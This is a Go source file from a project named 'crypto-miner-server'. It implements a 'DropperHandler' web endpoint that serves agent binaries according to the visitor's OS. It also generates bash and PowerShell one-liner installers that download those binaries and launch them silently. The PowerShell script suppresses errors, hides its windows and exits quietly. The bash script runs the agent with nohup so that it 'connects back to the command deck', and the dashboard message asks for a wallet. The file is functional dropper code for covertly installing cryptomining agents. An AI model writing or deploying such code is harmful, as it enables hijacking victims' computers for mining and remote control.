package api

import (
	"fmt"
	"net/http"
	"path/filepath"
	"strings"

	dbpkg "crypto-miner-server/internal/db"
)

// DropperHandler serves the one-liner remote-install endpoints:
//
//	GET /get              — auto-detect OS from User-Agent, serve latest binary
//	GET /get?os=windows   — explicit platform: windows | linux | darwin | universal
//	GET /install.sh       — bash one-liner installer (Linux / macOS)
//	GET /install.ps1      — PowerShell one-liner installer (Windows)
type DropperHandler struct {
	db            *dbpkg.Database
	publicURLFunc func() string
}

func NewDropperHandler(database *dbpkg.Database, publicURLFunc func() string) *DropperHandler {
	return &DropperHandler{db: database, publicURLFunc: publicURLFunc}
}

func (h *DropperHandler) publicURL() string {
	if h.publicURLFunc != nil {
		if u := h.publicURLFunc(); u != "" {
			return strings.TrimRight(u, "/")
		}
	}
	return ""
}

// detectPlatform picks the right build platform from an explicit query param or
// the User-Agent header. Returns one of: windows, linux, darwin, universal.
func detectPlatform(r *http.Request) string {
	if p := r.URL.Query().Get("os"); p != "" {
		switch strings.ToLower(p) {
		case "windows", "win":
			return "windows"
		case "linux":
			return "linux"
		case "darwin", "mac", "macos":
			return "darwin"
		case "universal", "any":
			return "universal"
		}
	}
	ua := strings.ToLower(r.Header.Get("User-Agent"))
	switch {
	case strings.Contains(ua, "windows"):
		return "windows"
	case strings.Contains(ua, "darwin") || strings.Contains(ua, "mac"):
		return "darwin"
	case strings.Contains(ua, "linux"):
		return "linux"
	}
	return "" // caller will fall back to latest build regardless of platform
}

// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
	platform := detectPlatform(r)

	// Try exact platform match, then fall back to universal, then any.
	candidates := []string{platform, "universal", ""}
	if platform == "" {
		candidates = []string{"universal", ""}
	}

	var buildPath, buildName string
	for _, p := range candidates {
		b, err := h.db.GetLatestBuildForPlatform(p)
		if err == nil && b != nil {
			buildPath = b.FilePath
			buildName = filepath.Base(b.FilePath)
			break
		}
	}
	if buildPath == "" {
		w.Header().Set("Content-Type", "text/plain; charset=utf-8")
		w.WriteHeader(http.StatusNotFound)
		fmt.Fprintln(w, "AETHERFORGE: no agent build available yet.")
		fmt.Fprintln(w, "Open the dashboard → Forge → fill in your wallet + server URL → FORGE INSTALLER.")
		fmt.Fprintln(w, "Then re-run this one-liner.")
		return
	}

	w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName))
	w.Header().Set("Content-Type", "application/octet-stream")
	// Content-Length is set automatically by http.ServeFile.
	http.ServeFile(w, r, buildPath)
}

// ServeSh handles GET /install.sh — returns a bash one-liner installer.
func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) {
	base := h.resolveBase(r)

	script := fmt.Sprintf(`#!/bin/sh
# AetherForge agent installer
# Usage: curl -sL '%[1]s/install.sh' | bash
#        wget -qO- '%[1]s/install.sh' | bash

set -e

die() { echo "[!] $*" >&2; exit 1; }

OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
ARCH="$(uname -m)"
case "$ARCH" in
  x86_64)          ARCH="amd64" ;;
  aarch64|arm64)   ARCH="arm64" ;;
esac

echo "[*] AetherForge — downloading agent for $OS/$ARCH..."

TMPDIR="$(mktemp -d)"
DEST="$TMPDIR/worker"

# Download and verify we got a real file, not a 404 page.
# Note: double-quotes around URL so $OS is expanded by the shell.
HTTP_CODE="$(curl -sL -w "%%{http_code}" -o "$DEST" "%[1]s/get?os=$OS")"
if [ "$HTTP_CODE" != "200" ]; then
  cat "$DEST" >&2
  die "Server returned HTTP $HTTP_CODE — forge an agent first from the dashboard."
fi

FILESIZE="$(wc -c < "$DEST" | tr -d ' ')"
[ "$FILESIZE" -gt 1024 ] || die "Download too small ($FILESIZE bytes) — something went wrong."

# Universal bundle (ZIP) or raw binary?  'file' is available on all platforms.
if file "$DEST" 2>/dev/null | grep -qi "zip\|archive"; then
  echo "[*] Extracting universal bundle..."
  unzip -q "$DEST" -d "$TMPDIR/bundle"
  cd "$TMPDIR/bundle"
  if [ "$OS" = "darwin" ]; then
    for L in Start.command start.command; do
      [ -f "$L" ] && chmod +x "$L" && exec "./$L"
    done
  fi
  for L in start.sh deploy.sh; do
    [ -f "$L" ] && chmod +x "$L" && exec sh "./$L"
  done
  die "No launcher found in bundle (Start.command / start.sh / deploy.sh)"
fi

chmod +x "$DEST"
echo "[*] Launching agent..."
nohup "$DEST" >/dev/null 2>&1 &
echo "[+] Agent started (pid $!) — it will install itself and connect back to the command deck."
`, base)

	w.Header().Set("Content-Type", "text/plain; charset=utf-8")
	w.Header().Set("Content-Disposition", `inline; filename="install.sh"`)
	fmt.Fprint(w, script)
}

// ServePs1 handles GET /install.ps1 — returns a PowerShell one-liner installer.
func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
	base := h.resolveBase(r)

	// Build script as a regular string — backtick in Go raw strings conflicts
	// with PowerShell's escape character.
	bt := "`"
	nl := "\r\n"

	script := "# AetherForge dropper" + nl +
		"$ErrorActionPreference = 'SilentlyContinue'" + nl +
		"$ProgressPreference   = 'SilentlyContinue'" + nl + nl +
		"$url = '" + base + "/get?os=windows'" + nl +
		"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())" + nl + nl +
		"try {" + nl +
		"    (New-Object Net.WebClient).DownloadFile($url, $tmp)" + nl +
		"} catch { exit 0 }" + nl + nl +
		"if (-not (Test-Path $tmp) -or (Get-Item $tmp).Length -lt 1024) { exit 0 }" + nl + nl +
		"$bytes = [System.IO.File]::ReadAllBytes($tmp)" + nl +
		"$isZip = $bytes.Length -gt 1 -and $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B" + nl + nl +
		"if ($isZip) {" + nl +
		"    $dir = $tmp + '_bundle'" + nl +
		"    Add-Type -AssemblyName System.IO.Compression.FileSystem" + nl +
		"    [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)" + nl +
		"    foreach ($name in @('Start.bat', 'Deploy.bat')) {" + nl +
		"        $c = Join-Path $dir $name" + nl +
		"        if (Test-Path $c) { Start-Process 'cmd.exe' -ArgumentList \"/c " + bt + "\"$c" + bt + "\"\" -WindowStyle Hidden; break }" + nl +
		"    }" + nl +
		"} else {" + nl +
		"    $exe = $tmp + '.exe'" + nl +
		"    Move-Item -Path $tmp -Destination $exe -Force" + nl +
		"    Start-Process -FilePath $exe -WindowStyle Hidden" + nl +
		"}" + nl +
		"if ($host.Name -match 'ConsoleHost') { [System.Environment]::Exit(0) }" + nl

	w.Header().Set("Content-Type", "text/plain; charset=utf-8")
	w.Header().Set("Content-Disposition", `inline; filename="install.ps1"`)
	fmt.Fprint(w, script)
}

// resolveBase returns the public base URL for script generation, falling back
// to the request's Host header when no public URL is configured.
func (h *DropperHandler) resolveBase(r *http.Request) string {
	if u := h.publicURL(); u != "" {
		return u
	}
	scheme := "http"
	if r.TLS != nil {
		scheme = "https"
	}
	// Honour X-Forwarded-Proto set by reverse proxies (e.g. Cloudflare tunnel).
	if proto := r.Header.Get("X-Forwarded-Proto"); proto == "https" {
		scheme = "https"
	}
	// Prefer X-Forwarded-Host (behind a reverse proxy) over the raw Host.
	host := r.Header.Get("X-Forwarded-Host")
	if host == "" {
		host = r.Host
	}
	return scheme + "://" + host
}
